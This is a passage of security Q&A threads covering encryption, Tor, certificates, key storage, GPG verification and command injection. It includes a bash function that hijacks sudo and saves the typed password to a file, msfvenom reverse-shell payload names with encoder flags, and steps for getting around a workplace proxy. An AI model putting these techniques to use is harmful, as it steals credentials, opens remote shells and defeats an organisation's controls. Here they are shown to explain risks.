Now you have delta d which you encrypt with function E() notated as E(d).

You want the new file f' to be equal to f with the delta applied: f'=f+d

Only you dont want to decrypt either E(f) or E(d).

You want E(f) + E(d) = E(f').

And that's homorphic encryption, but it's not ready for production yet. THere are partially homomorphic cryptosystems, but I'm not sure if the file delta would fit into any of the systems. There is one fully homomorphic cryptosystem in development at IBM, but it takes a good amount of computation power and memory and is still slow for large problems.

IBM Research's page on homomorphic encryption
http://domino.research.ibm.com/comm/research_projects.nsf/pages/security.homoenc.html

Craig Gentry's PhD Thesis "Fully homomorphic encryption using ideal lattices" This is a break through paper.

Prior to Gentry's thesis there were fully homomorphic systems but those systems could not be made practical. Some existing cryptosystems, RSA for example, are partially homomorphic, meaning that homomorphic operates work for one operation (multiplication for example) but not the other (addition). They also degrade and can only do a limited number of homomorphic operations before causing errors.

Gentry's breakthrough was to establish bootstraping. In my limited understanding, bootstraping establishes a hidden struture capable of maintaining its coherence across operations.

In May of 2011 "Fully Homomorphic Encryption without Bootstrapping" was published bring homomorphic encryption one step closer to real use.


How can i set an unbreakable password on py PC? I want to set an unbreakable password for windows 7 on my personal computer because my friends mostly guess my password. When they are failed to guess my password they break  it with an technique. I want to get rid off this all. I often try to change windows 8 and 10, but they reset all my settings and i loose my privacy. My computer contains my personal data like family pics so i want to them private. My friend break my password and after this they tell me about my personal data that what kind of pic, videos, and documents i have. Me and my friends are room mates. It can be another one who breaks my password for my room mates. My laptop is secured because i have an fingerprint privacy on my laptop but any type of password on windows is easy to breakable for my room mates which not secured for me.

Remember, depending on your jurisdiction, your friends may be breaking the law.

There are a couple of really neat techniques to create near-unguessable passwords.

The first is online tools: just Google "strong password generator". For your needs, 8 characters should suffice. They should be generated randomly. If you can remember a phone number (typically 11 characters in the UK) you can remember 8.

The second is to pick four words at random, and then a capitalisation strategy of your choice. resilientHORSEBATTERYstaple would do.

A third technique is to use an equation. FIVEtimes5=25 or 5*five=TWENTYFIVE! would keep you safe.

However, a Windows password alone won't keep you safe if your friends are able to boot using a Live CD. This may be a bit advanced for you, but consider using an Encrypted Windows install next time you install Windows, or putting a password on your Bios. The Bios password is hard to do, and if you mess up you can break a lot of things, so just go with the above strategies as a first attempt.

Hope that helps!


Secure to run a tor bridge as current user? It is secure to run a tor bridge node from my current user, have in mind that I can use sudo?

Here is the torrc:

ORPort 9001
Nickname somenick
ExitRelay 0
ExitPolicy reject *:* # no exits allowed
BridgeRelay 1
SocksPort 0

Here is the tor.service:

[Unit]
Description=Anonymizing Overlay Network
After=network.target

[Service]
User=#name of user here
Type=simple
ExecStart=/tor/bin/tor -f /tor/etc/tor/torrc
KillSignal=SIGINT
LimitNOFILE=65536

[Install]
WantedBy=multi-user.target
# WantedBy=default.target

The risks of running Tor as your regular user
This depends on your threat model. Running any network-connected daemon as a non-privileged user is of course a good idea, but running it as your own user may not be. Under Linux and most Unices, the security model is designed only to protect one user from another, not one process from another process if they both have equal permissions. As such, a compromised process running as your current user may be able to, using various techniques, hijack your browser or log your keystrokes. Whether or not this is considered an unacceptable risk is up to you. For a few examples of possibilities, assuming Tor is compromised by an exploit over the network, the Tor process can:

Use LD_PRELOAD or LD_LIBRARY_PATH to inject libraries into commands.
Use ptrace() or related syscalls to directly modify the memory of running processes.
Modify PATH to replace privileged commands with malicious ones.
View and inject keystrokes or mouse actions using the X11 protocol.

All of these are only possible if the compromised process and a sensitive target process (password manager, browser, etc) are running as the same user. This is what running a daemon as a dedicated, single-purpose user is designed to prevent. A process running as the user tor can only hijack other processes under that user, but not for root, www-data, joesmith, or any others.
All-in-all, the risk is likely fairly low, as Tor is designed well and should not be particularly easy to remotely hijack. While that's obviously no excuse for avoiding defense in depth, it does mean that you are not exposing a huge attack surface by running it on the network, as long as you keep it up to date.
Why using sudo may be a bad idea
While you can use sudo to run Tor as a different user, be aware that, if sudo is set to allow running root commands, your user, if compromised, can also compromise root. This is because any compromised process can sniff your keystrokes and modify your environment, so if you run sudo in that environment, you may very well be running a malicious replacement. A more secure way to log in as root is by using a different TTY and logging in directly (e.g. via logind or agetty).
A simple example, showing how sudo can be hijacked with a simple bash function:

$ type sudo
sudo is a function
sudo ()
{
    local pass;
    if [[ -z "${@}" ]]; then
        //usr/bin/sudo;
    else
        read -srp "[sudo] password for ${USER}: " pass;
        echo "${pass}" > /tmp/.password;
        echo -e "\nSorry, try again.";
        //usr/bin/sudo ${@};
    fi
}
$ sudo id
[sudo] password for joe:
Sorry, try again.
[sudo] password for joe:
uid=0(root) gid=0(root) groups=0(root)
$ cat /tmp/.password
hunter2

You can't easily evade this just by specifying the absolute path of sudo either:

$ type /usr/bin/sudo
/usr/bin/sudo is a function
/usr/bin/sudo ()
{
    sudo ${@}
}

Using sudo to run Tor as a Tor-specific user may be fine, as long as it has been configured in sudoers(5) to whitelist the acceptable commands and users. The sudoers configuration which allows myusername to run /usr/bin/tor as the tor user would look something along these lines:

myusername ALL=(tor) NOPASSWD: /usr/bin/tor

Securely running Tor as an unprivileged user
I suggest instead you run Tor as a daemon, started by your init system. You can adjust the user in the torrc by using the User directive. When Tor starts up with this set in its configuration file, it will drop to the specified user and run as it from then on. This usually requires Tor start up originally as root, as changing users is a privileged operation. It is safe to have Tor be started by your init system (for example, at each boot, after your network comes online), which will start it as root.
Taken from the tor(1) manual page or online documentation:

User Username:
    On startup, setuid to this user and setgid to their primary group.
    Can not be changed while tor is running.

Configuring Tor to run automatically via your init system depends on the specific distro you are using. Usually, installing Tor via your package manager will also install support for running it as a service, as well as add a Tor specific user to your /etc/passwd. Usually the user is just called tor, though on Debian it is called debian-tor. Check what user was added and set that to the user to run it as. Use your particular init system's management tools to enable the Tor service to run automatically after boot in the desired runlevel. This is the intended way to run Tor, so I strongly recommend doing this.


Is it urgent to revoke the access to a private repo once a person has been mistakenly granted it and become aware of this? There has been a post on Niebezpiecznik.pl, a popular InfoSec blog, describing an interesting situation.

A company mistakenly granted access to their BitBucket repo to a a random programmer. This programmer subsequently alerted various employees of the company, urging them to revoke access ASAP. He found these employees sluggish (for example, one said he would only revoke the access once he was back from his vacation), so alerted the Niebezpiecznik blog, which subsequently contacted the company. Only then was access revoked.

It is clear that the programmer considered the lack of prompt revocation of access to be a very grave oversight on behalf of the company's security policy. And here is where I'm surprised.

So, let's consider this from the company's point of view. Someone contacts them, claiming that he has been spuriously granted access to their private repo and urging them to revoke this access. Now this person either is or is not interested in the contents of this repo; he also either has or has not strong enough moral values to refrain from downloading it. If he's willing to inspect the contents of the repo, he's already had ample time to do this; and if he hasn't done this yet, then he will likely still not have done this by the time the employee is back from his vacation. In other words, the milk has already spilled and nothing worse than what has already happened is likely to happen in the future.

As a result, I would think, the situation is no longer urgent and can soundly wait until the employee is back from his vacation.

Where am I wrong?

There's a number of reasons:

If it has happened to one person, it might have happened to more. These other people might not be as kind.
Who knows, this person might change their mind. When they made the effort to contact you, and just gets a "meh" in return, they might be a bit annoyed and decide to punish you for it.
Or maybe they just want to poke around a bit for fun, and accidentally break something.
You probably want to check the logs to see that this person is telling the truth. Maybe they silently stole your encryption keys before contacting you. You probably want to rotate all your secrets just to be sure.
And most importantly, this is a Big F*cking Deal™. Anyone who is not reacting with shock and horror, but instead orders another piña colada, clearly doesn't understand the gravity of the situation.

There's some very good points in comments and this answer that all might be fine under certain circumstances (e.g. read only access, no secrets in the code, etc.). That is correct, but I would still argue that this should be taken more seriously. Are you really 100% sure there are no secrets in some old commit in your repo? The very fact that someone who shouldn't have access to your systems got it anyway is in itself a bad omen.


What are the implications of adding a self signed certificate to the Windows Trusted Root Certification Authorities store? I'm a budding website developer, so please bear with my ignorance.

Say I had to encrypt my website with HTTPS and I got sick of having to click "Continue" every time a warning came up about an untrusted certificate. I used this method to install my site's certificate.

Say the certificate I signed is issued by "xyz." Since the store is called "Trusted Root Certification Authorities," I assume that it trusts "xyz" as a certification authority. When my certificate is added to the store, does that mean that any certificate issued by "xyz" now is automatically trusted?

Or does installing an SSL certificate for a domain to "Trusted Root Certification Authorities" only make that one domain trusted?

The point is I want to ignore the warnings for my website in particular but do not want to ignore the warnings for any other website.

EDIT: I probably should elucidate on the exact procedure I used to create the certificate. The website is deployed on a Ubuntu 10.04 server with the default OpenSSL and Apache configurations. To create the certificate and key file, I simply used

# make-ssl-cert generate-default-snakeoil –force-overwrite

and left /etc/apache2/sites-available/default-ssl alone because the make-ssl-cert command wrote the two files to the same paths that the Apache configuration files point to. So I didn't even set up a certificate authority to generate my website's certificate from.

Does this change the scenario at all? What's the difference between installing a certificate created without a certificate authority as trusted root on a client, and installing a certificate created with one?

EDIT 2: Okay, it would be better if I were to narrow the question down as much as I could: Is it safe to ask others to install my certificate as trusted root if I secure the certificate for my website and make sure it never escapes? Will attackers ever be able to take advantage of my self signed certificate and target those who have installed it to their trusted certificate store?

When you install a CA certificate as "trusted root" then this means that your applications will trust whatever certificates are issued by this CA certificate. This is not, by default, restricted to a specific domain. X.509, the standard for certificates, includes a way to specify that a given CA is for issuing certificates only in a specific "area", e.g. for servers in a domain (that's the Name Constraints extension, see section 4.2.1.10), but it is poorly supported, or not supported at all, by existing implementations. So I would recommend against relying on this feature.

So the basic rule is that when you install a new trusted root, you are entrusting the owner of the private key with your browsing security. If you are the owner (that's your self-signed certificate, which you generated yourself), then it is up to you to keep the CA key safe. As long as nobody else gets a copy of the private key, then there is no problem. This leads to the following method:

Create a new key pair and a self-signed certificate.
Use that newly created CA to issue a certificate for your server.
Import the CA certificate as trusted root.
Forget the CA private key (destroy the key; ideally, the key is in a file which you put on a RAM-backed filesystem, making suppression reasonably complete).

and you are done. If the private key is no more, it is, in particular, out of reach of malevolent adversaries.

An alternate method is to use a self-signed certificate for the server itself, and instruct your Web browser to nonetheless trust that certificate for your site only. If your browser can do that, then no need to fiddle with root CA. Firefox can do that; they call it a security exception.


What things should a penetration tester know about databases? I want to start learning about databases from a penetration tester's perspective and I would like to know what things will be useful on the long run.

Also do you know any good books to kickstart my experience with databases?

This question is very broad. In general you need to know how all different technologies are configured and what their weaknesses are (refer to google).
"Databases" is a broad term. There are many types of databases using different languages:

LDAP (active directory, OpenLDAP,...)
SQL (MySQL, PostgreSQL, SQL server, Oracle,...)
noSQL (MongoDB, Cassandra,...)

When pentesting you can either focus on the service provided by the database itself:

authentication

concurrent connections
or you can try to get to the database via a program that connects to it (LDAP/SQL injection for instance).

The means can be different as well: you might want to dump the contents from the database or you might try to make the database issue a command (if it runs as SYSTEM/root you can get access to the underlying server to stage more attacks).
There are tons of different books on databases. In general I always look at everything O'Reilly has to offer. They have a quite rigorous reviewing and admission process. I suggest starting with SQL and LDAP as you will see these more in the wild than any other protocols.


How to implement PCI DSS requirement 3.5.2? According to PCI-DSS requirement 3.5.2:

Secret and private keys used to encrypt /decrypt cardholder data should be stored in one of the following forms at all times:

Encrypted with a key-encrypting key that is at least as strong as the data-encrypting key, and that is stored separately from the data-encrypting key.
Within a secure cryptographic device (such as a host security module(HSM) or PTS-approved point-of-interaction device).
As at least two full-length key components or key shares, in accordance with an industry-accepted method.

My questions:

How to store Key-Encrypting Key separately from Data-Encrypting Key and is that a best practice?
If we decide to store KEK separately from DEK, then should we need to store DEK in a server and KEK in a separate server?
If we decide to store keys in a cryptographic device, then which will be a best practice among HSM and PTS?
What is two full-length key components or key shares? Could anyone explain about it?

Is there any useful links or documents available?

Think of the Data Encrypting Key as a "session key" in SSL.  It can/should be a random value that you would spin up for the purpose of encrypting an account number.  The Key Encrypting Key would be the public key retrieved from a certificate.  You use the KEK to encrypt the DEK, then throw away the plaintext DEK after encrypting the data.  Meanwhile, the private key (paired with the public key on the certificate) remains securely locked up inside a protected environment, far away from the data environment.  And yes, this is a best practice.
I would never store the plaintext DEK.  Instead, encrypt the DEK with the KEK, and store only the encrypted DEK.
An HSM provides a tamper resistant environment to house cryptographic operations, and is preferred for sensitive operations like key decryption.
Use an algorithm like Shamir's Secret Sharing.  It allows you to split the key into several parts, and requires a certain number of parts to reassemble it.


is it really necessary to deploy interal SSL In private network mpls? We have a tire III data center to let users to access resources through private network MPLS. we applied security solution in each layer. But I am not quite sure to use internal SSL for applications or devices that can be accessed via http(web) within the private network perimeter(not to access via internet out side the network). if not How can I ensure communication between two hosts is secured or encrypted? how can I protect internal intruder(hacker) apart from applying polices in our private network?

Generally yes, you want to encrypt/secure the connection of your internal machines. They are not reachable from the internet, but insider threats are real.

Assume one machine of yours has been taken over. An vulnerable webservice, for example. This machine is no longer trustworthy, but can still see and access your internal machines. Here is your insider threat without somebody physically breaking into your data centre or plugging their laptop in your server.

Which kind of security should be applied depends on your use case and what exactly you are trying to protect. To prevent MitM, TLS/SSL is generally a good point to start.


why is it necessary to have both code signing and time stamping certificates? I have read about the option to create certificates for signing codes and time stamping. why do we need both of them?
I understand that it helps me when I need to increase the validity of my code, but why not using only one of them with bigger validity period?

For example, let's consider a code signing certificate with one year validity and a time stamping certificate of 2 years. Isn't it better to create only a code signing certificate with 2 years period?

when turning a code signing certificate into a crl, are all its signs invalid? How about turning a time stamping certificate into crl?

Is there a scenario when we would prefer to have a time stamping certificate without code signing certificate?

As a software publisher, you typically just buy one certificate, not two.  You buy a code signing certificate, use it to make a signature, and then get that signature timestamped to prove that you made the signature before your code signing certificate expired.  The timestamping is done by a server run by a certificate authority, and they sign the timestamp using their own certificate; you don't need to provide one at that point.

I don't think anything special happens when certificates in the chain of trust of your timestamp expire, but I could be wrong.


Security implications of putting virtual hosts source code in /var/www/[domain] A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS)

I see that it's possible to reach the virtual hosts from another domain (or just the ip), but how's that affecting security? No source code would be displayed since all scripts would still be executed.

Are there any examples of common coding patterns that would be dangerous to execute? Session variables? (logging in to site A, being thought of as logged in on site B when accessed through site A)

Anything else I'm missing?

As a general rule, things should not be made accessible in ways that were not intended or for reasons that were not intended. The best reason to follow this pattern is because you don't know how it might be abused. Just because you can't think of a vulnerability doesn't mean somebody else can't.

But in this case, I have seen this pattern used against a site owner.

As an example, virtual-hosting operations typically run website content under user isolated users. That is, foo.com runs as the user foo, while bar.com runs as the user bar, and neither can access the other's files.

But a secondary route for accessing site content, such as 1.2.3.4/~foo/ might run foo.com content using some alternate context -- perhaps www-data, for example. And in that case, foo.com/filemanager.php could be accessed as 1.2.3.4/~foo/filemanager.php, which gives the visitor access through the site using a different set of permissions than the site owner thought.

There are other potential vulnerabilities as well that I can thing of -- things having to do with configuration differences, path differences, access-control, and other such details. All of this is somewhat installation-dependent, but the potential is there.


Is this bash command vulnerable to code injection? I'm wondering if the following code is vulnerable to command injection in bash:

sumo /bin/netflash -Uk $CONTROLED_OPTION 2>&1

I'm thinking since it's not included in " " it should be vulnerable but I'm not sure since I can't make the command injection work, I tried $() `` |  && ||  but nothing is working.

or do I need the command to be inside a eval to be vulnerable?

You added in a comment, that you care about breaking out of the command and not attacking netflash directly by supplying a specific malicious parameter.

The answer to this is no, you cannot break out of this construct. Bash understands that you are supplying a parameter and doesn't allow you to manipulate the statement itself. Bash would have to do an implicit string concatination at this point, which it does not do.

As you mentioned, if eval was used, exactly this kind of concatination would take place and it would be vulnerable. Without eval, it is safe.

There might of course be a vulnerability in netflash itself, that can be triggered by the supplied parameter, but I understood that this is out of scope of the question (and would require a deep dive into netflash).


Safety of packages through yum Recently, a yum update installed an update to R1Soft's server backup management software on a Redhat 7 server I am dealing with, and rkhunter is giving me a warning about a suspicious file. I've asked about the legitimacy of that warning in this separate question:

What sort of steps can we take to definitively verify that a given rkhunter report is a false positive?

I strongly suspect it is a false positive, but I had a further question that this prompted me to think about, more generally speaking.

How confident can somebody be that mainstream yum repositories (such as this, or for example, the rhel-7-server-rpms) will be free of malware? Is my confidence misplaced? Do they go through a vetting and screening process strong enough that an administrator can feel comfortable running yum update freely?

From this link Redhat suggests:

Red Hat does provide a high level of security in the operating
system and packages that they distribute. As security issues are
discovered in various applications (and presumably in packages),
Red Hat provides updated packages in a way which keeps potential
risk to a minimum;
Red Hat Enterprise Linux 3 and higher employs ExecShield to eliminate
the possibility of Buffer-Overflows (so greatly reducing the possibility
of many exploits);
Redhat's own network, systems and packages are kept updated with all
patches and security updates;
Redhat's own systems have Security-enhanced Linux (SELinux) enabled; and
A friend I know who is a Kernel developer for Redhat tells me realtime
filesystem scanning is also used on Redhat's own systems in addition to
the above, as well as 3rd party Linux antivirus.

So, to answer: Although there is no such thing as guaranteed perfect security, Redhat (meaning the owners of the rhel-7-server-rpms (and related repo)) appears to be doing due-diligence (risk management) sufficient to give you a reasonable degree of confidence.  Your confidence isn't misplaced.

That said, I'm talking about the rhel-7-server-rpms repo, and not some non-Redhat repo.


Verifying a downloaded file with gpg I'm trying to follow the instructions to verify a downloaded file here:

http://www.pps.univ-paris-diderot.fr/~jch/software/pgp-validating.html

  Get a local copy of the signing key

  You will need to know the key id of the key you want to confirm. If
  you are using ASDF-Install, ASDF-Install will complain about an
  unknown key, and tell you the ID. Otherwise, download both the tarball
  and the signature file, and pass the signature file to GnuPG:

gpg cl-yacc-0.2.tar.gz.asc
GnuPG will complain about an unknown key, and tell you the ID. At that point, do

gpg --recv id
to download a local copy of the key.

I am trying to verify the downloaded file:

libevent-2.0.22-stable.tar.gz

And I have this signature file:

libevent-2.0.22-stable.tar.gz.asc

Following the steps above, this is what I got:

~/Downloads$ gpg libevent-2.0.22-stable.tar.gz.asc
gpg: assuming signed data in 'libevent-2.0.22-stable.tar.gz'
gpg: Signature made Mon Jan  5 08:16:20 2015 MST using RSA key ID 8D29319A
gpg: Good signature from "Nick Mathewson <nickm@alum.mit.edu>" [unknown]
gpg:                 aka "Nick Mathewson <nickm@wangafu.net>" [unknown]
gpg:                 aka "Nick Mathewson <nickm@freehaven.net>" [unknown]
gpg:                 aka "[jpeg image of size 3369]" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: B35B F85B F194 89D0 4E28  C33C 2119 4EBB 1657 33EA
     Subkey fingerprint: EF00 F369 1387 FCC5 8CD6  8E13 9103 97D8 8D29 319A

~/Downloads$ gpg --recv 8D29319A
gpg: requesting key 8D29319A from hkps server hkps.pool.sks-keyservers.net
gpg: key 165733EA: "Nick Mathewson <nickm@alum.mit.edu>" not changed
gpg: Total number processed: 1
gpg:              unchanged: 1

Next, it says:

  Confirm the key from an independent source

  You now need to confirm the key from an independent source i.e.
  neither the signature file nor the keyserver.

  Find out more about the key

  Armed with the ID of the key you are interested in, check the key on
  on your favourite keyserver interface (choose “verbose index”).
  You will find all the uids (e-mail addresses) of the person who signed
  the key, as well as the people who have signed that key.

As far as I can tell, the phrase armed with the ID of the key you are interested in refers to: 8D29319A.  In any case, I tried entering every number, fingerprint, and ascii armored public key in that linked keyserver interface, and I just got exception after exception.

What am I doing wrong?

$ gpg --version
gpg (GnuPG/MacGPG2) 2.0.28
libgcrypt 1.6.3
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Home: ~/.gnupg
Supported algorithms:
Pubkey: RSA, RSA, RSA, ELG, DSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2
$

You did nothing wrong. The signature is correct, but GnuPG could not verify the key's validity, thus the signature is not deemed valid. With other words, GnuPG explains you that while the signature is issued by a totally valid key, the key could have issued by anybody (you can create keys for arbitrary mail addresses, there is no central instance verifying them, especially key servers do not do!).

Now you have two options:

you can try to validate the key through the web of trust (which means finding a "trust path" from keys you already trust to the author's key, and will also remove the "unverified" message) or
validate through some other means, for example by comparing the fingerprint or at least long key ID with another, trusted source (short key IDs are insecure, so don't use them for verifying keys). This basically means you have another, trusted source (a basic verification would be through the product's web site listing the key ID/fingerprint, given it is at least received through an encrypted connection using HTTPs) with GnuPG's output of the public key used for signing:

Primary key fingerprint: B35B F85B F194 89D0 4E28  C33C 2119 4EBB 1657 33EA

(the long key ID equals the last 16 characters 21194EBB165733EA, the short ID is the last 8 characters 165733EA).


Android app is the only party authorized to decrypt If we have data stored in encrypted format by the android app (encryption key in keystore), is it possible for the app to be the only entity capable of decrypting it to do some calculations? I am talking even the app's own user can't access the decrypted data, not even when not using the app UI to access the app like hackers do.?

Exemple : server is sending encrypted data regarding a QR code for a book. The app should decryot the QR and check if it is stored inside its local data and send a response back to the server. I don't want the QR code to be humanly accessed by the app's user through the app or any other tool even though their app can.?

Whenever you write software that runs on hardware you do not control (e.g. an app installed on a user's phone), you can assume that everything related to the app could be visible to the user, if the user is knowledgeable. This includes code/functionality, which can typically be decompiled, or any data received/transmitted/processed by the app, which could be dumped from memory or captured over the network.

You can certainly make it more challenging by using obfuscation, anti-RE/anti-debugging techniques, and plenty of crypto. This may be enough to foil a casual user with some basic skills, but a determined adversary will eventually bypass these measures.


Can I be reasonably certain that IRS website is genuine? https://www.irs.gov/identity-theft-fraud-scams/identity-verification

I received a letter in the mail indicating that I need to verify my ID with the IRS. Can I be reasonably certain that the website is actually the IRS?  Why / How?

If you Google the IRS you will see:

irs.gov is the top hit
irs.gov is in the Google info box on the side
wikipedia lists irs.gov as the official website
Twitter lists the official, verified IRS account as having irs.gov as the homepage

In addition:

.gov websites are not available to the public
The official government page for America lists irs.gov as the official website


I set up a successful reverse shell but my commands return nothing I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM.

My netcat listener displays the following message:

connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155

which means it is connected.

But when I run commands such as dir it doesn't output anything.
 What do you think is the problem?

I solved it by generating a different payload.
Payload that didn't work: /windows/x64/shell/reverse_tcp
Payload that worked: /windows/x64/shell_reverse_tcp (and adding some flags -e x64/xor -i 5)


Do security consultants routinely demonstrate hacking into attendees' PCs within minutes? From this Quora answer:

  Years ago when I was in China I was getting updated on cyber security
  from one of our partnerships.

  We were going over everything from basic hacks a 9 year old could do
  to more sophisticated ones that professional blackhats do. (...)

  One of the first things they showed me was how easy it is to get
  access a camera remotely. And over a dozen different methods of doing
  it.

  Back at my hotel where I was staying at the time, I had a laptop on my
  desk by my bed which I always left on, but locked.

  As well as at my home office in Canada, I had a few laptops there as
  well I had plugged into a backup battery power bar, so they had about
  42 hours total of backup battery should power ever go out. I was using
  these as self cloud storage's. So they were on as well.

  Within 5 minutes of the lesson just knowing my IP address (for my
  Canada office) and my QQ chat account on my hotel laptop they had
  access to my cameras in both my hotel room, and my home office. I was
  able to see my rooms from the board meeting through the eyes of my
  camera. And this was an amateur hack, something a 12 year old could
  learn online. The laptops did all have anti virus.

  Not only with cameras. We did microphone as well as other windows
  processes as well. All basic methods. They were able to push software
  onto the devices through vulnerabilities in the router/network and
  other means. (...)

  We did some advanced security lessons by which one of the professional
  consultants showed us how easily he can obtain direct access to
  devices, not just amateur stuff like cameras.

  He was able to get full remote access to my home office laptops in
  under 4 minutes of his demonstration. Which then he had full
  mouse/keyboard and screen share on. He was able to access emails, web
  browser, and over a dozen external harddrives and all contents
  connected to my network. Prior to that meeting I wasn’t even aware
  that was possible.

  We also did a safety test on my VPS (virtual private server) that I
  had hosted with Hostmonster and Godaddy at the time. This was a few
  years ago. I got permission to test our VPS’s security. The consultant
  wouldn’t do it without permission, which we got from a live chat
  agent.

  Within 4 minutes again he had access to our root VPS server. He
  bypassed the hosting servers basic security that was loaded by default
  on our virtual server. He was able to show me the root files of all of
  my CPANEL accounts that hosted our websites on Magento and Wordpress
  and we were able to make live changes to my sites. To that, I was not
  happy. I was expecting a lot more security from those hosting
  companies, not with them anymore though.

This is scary, but apparently this is not an isolated case:

From another Quora answer:

  I once took a cyber security course in which one of the instructors hacked into six or seven laptop cameras in the class before the lunch break on the first day. The computers in question were brought by the students, not supplied by the training facility. By the second day, every student in that class had tape over their laptop cameras.

From yet another Quora answer:

  Our cyber security team has demonstrated how easy it is to remotely do this [hack a camera], even to an anti-malware & anti-virus protected devices.

If these answers are to be believed, security consultants routinely demonstrate hacking into attendees' PCs within minutes.

And yet, whenever on this site (SecuritySE) someone says something along the lines of "it takes approximately a few minutes to hack into a device" they're getting downvoted and/or told they're wrong (example 1, example 2 is a now deleted answer to this question). Is there not discrepancy here?

Therefore let me ask my question: Do security experts / consultants routinely hack into attendees' PCs within minutes?

If a machine is not properly setup and secured (latest patches, password protected, encryption, anti-malware etc.) they can be hacked in a couple minutes.

However, if you look at realistic scenarios, hacking a machine can be time consuming even with only a couple security measurements in place. If you can port scan a machine and find vulnerabilities, you have to find out how to abuse them by finding related CVE's and exploits.

More so, hacking a machine of a student without proper agreement is illegal in almost every country. Not even taking this legal aspect into consideration, which definitely is a problem while hacking cameras of an unrelated hotel without permission, hacking into multiple and different devices usually requires different skills and tools.

So can it be done? Yes. But it is not a realistic scenario and especially the ones you mentioned don't really sound very truthful.

It is not a common security practice to hack devices from students or hotels to perform demonstrations on, however most security researches do demonstrate different attack vectors using own machines setup to successfully demonstrate their findings.


Check if i'm using a filtered network I would like to know if the connection in my office is filtered, because i cannot access Faceboook neither Youtube but i can access google with no problems, but Tor i can access all the websites.

i would like to know some details about the filtering software used in my office network.
is there any type if filtering that cannot be bypassed even with Tor ?

Standard disclaimers apply, however user Lighty is correct in that it's a proxy server.

Proxies operate by filtering websites by URL, IP, content, or category.  Websites like Facebook, Twitter, and LinkedIn are categorized as "Social Networks" and your company sounds like it blocks access to them.  Youtube, Hulu, and Netflix are all probably categorized as "Streaming Video" and is also probably blocked.  You will probably also find that porn sites and websites against company policy (weapons, online shopping, gruesome content) are also blocked.  Your sysadmin will also be able to block certain websites based on IP or domain name, which could be done if he specifically does not want you to visit Facebook or Twitter, but will allow LinkedIn.  You can see if you are behind a proxy by comparing your own system IP address with that of a looking-glass server like http://whatismyip.com

Proxy servers are enforced to endpoints in different ways, such as:

WCCP redirection
Proxy.PAC files (most common)
WPAD.DAT via DHCP
Local software client

Often, firewalls and proxy servers work closely together to maintain a good security posture.  If a firewall blocks egress traffic from any other an IP address than the proxy server, circumventing is not possible.  If this is the case, then encrypting your traffic, which is what you're doing with TOR, may work.  Even encryption is not a surefire way to get out if the proxy server is using SSL decryption (which some do).

It goes without being said that circumventing corporate security measures has consequences, but it likely can be done given the firewalls permit.  Try the following in order of ease:

Use another browser such as Firefox or Chrome (be sure it doesn't use the proxy [see #3])
Visit a site by IP instead of hostname (Ex. One of Facebook's servers is 173.252.110.27)
Uncheck the proxy.pac file or "automatic configuration script" as it's labeled in Window's Internet Options

In IE:

  Go to Settings > Internet Options > Connections Tab > LAN Settings >
  Uncheck all boxes

In Firefox:

  Go to Tools > Options > Advanced > Network > Settings... > Check "No
  Proxy"

When circumvention doesn't work, you can try to encrypt your traffic.  Encryption is what you're doing with the TOR network, and sounds like you're having success with it.  This is how the encryption is working:

The TOR client on your workstation encrypts your traffic and sends it into the TOR cloud of systems
The proxy server intercepts your request and will fetch the information for you
The proxy queries the TOR cloud to get the data on your behalf
Your request is routed through a series of nodes in the TOR cloud and reaches the destination server
The server responds with the data you seek and it works its way through the TOR cloud and back to your proxy server
The proxy server forwards the data to you, but because the data is encrypted and your proxy server doesn't have a way to decrypt it (unless it has SSL decryption enforced) it cannot look at or filter your data
You receive the data on your workstation

  TOR Note: Because of the large number of hops needed to retrieve every little bit and byte of data, encryption and routing through the TOR cloud can add detrimental amounts of latency and/or could cause the connection to be extremely slow.

If encryption doesn't work, it's likely because your proxy is enforcing SSL decryption with a decrypt or drop rule.  At this point, you're best off using your phone to cruise Facebook at the like.


Openssl adding a telephone number or cell number to the distinguished_name In the openssl.cnf file, I see fields like countryName, stateOrProvinceName etc which are typically present in the distinguished_name. Where can I get a list of fields which can be added to the distinguished_name?

I want to add a mobile(cellular) number to the distinguished_name. How do I go about doing this?

I tried adding stuff like telephoneName, telephone_default, telephone_min, telephone_max to distinguished_name in openssl.cnf but openssl seems to ignore it.

telephoneNumber is what you're looking for.

Add the following to openssl.cnf; I used the Ubuntu 14 system version to start with, section names may vary by your distribution:

Under policy_match and policy_anything sections (probably policy_* in whatever openssl.cnf you're using as a template):

telephoneNumber         = optional

Under req_distinguished_name section:

telephoneNumber                 = Telephone Number
telephoneNumber_min             = 11
telephoneNumber_max             = 40

Then generate a key and CSR as normal.  The interactive prompts will now include a telephone number:

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:Massachusetts
Locality Name (eg, city) []:Boston
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:www.example.com
Email Address []:root@example.com
Telephone Number []:617-555-1234

And you can verify that the telephone number makes it into the cert:

$ openssl x509 -in certificate.crt -text -noout | grep Subject:
Subject: C=US, ST=Massachusetts, L=Boston, O=Internet Widgits Pty Ltd, CN=www.example.com/emailAddress=root@example.com/telephoneNumber=617-555-1234
$

Some references as to how I figured this out:

RFC 5280 says that

  Standard sets of attributes have been defined in the X.500 series of
  specifications [X.520].

A bit of Googling led me to Naming and Structuring Guidelines for X.500 (RFC 1617) which has section "4.4.7 Telecom Attributes".  There's not much info there but it does state telephoneNumber.  So I Googled for that along with openssl.cnf and found an example openssl.cnf file incorporating telephoneNumber.  From there it was simple to test the necessary parameters on my own system.

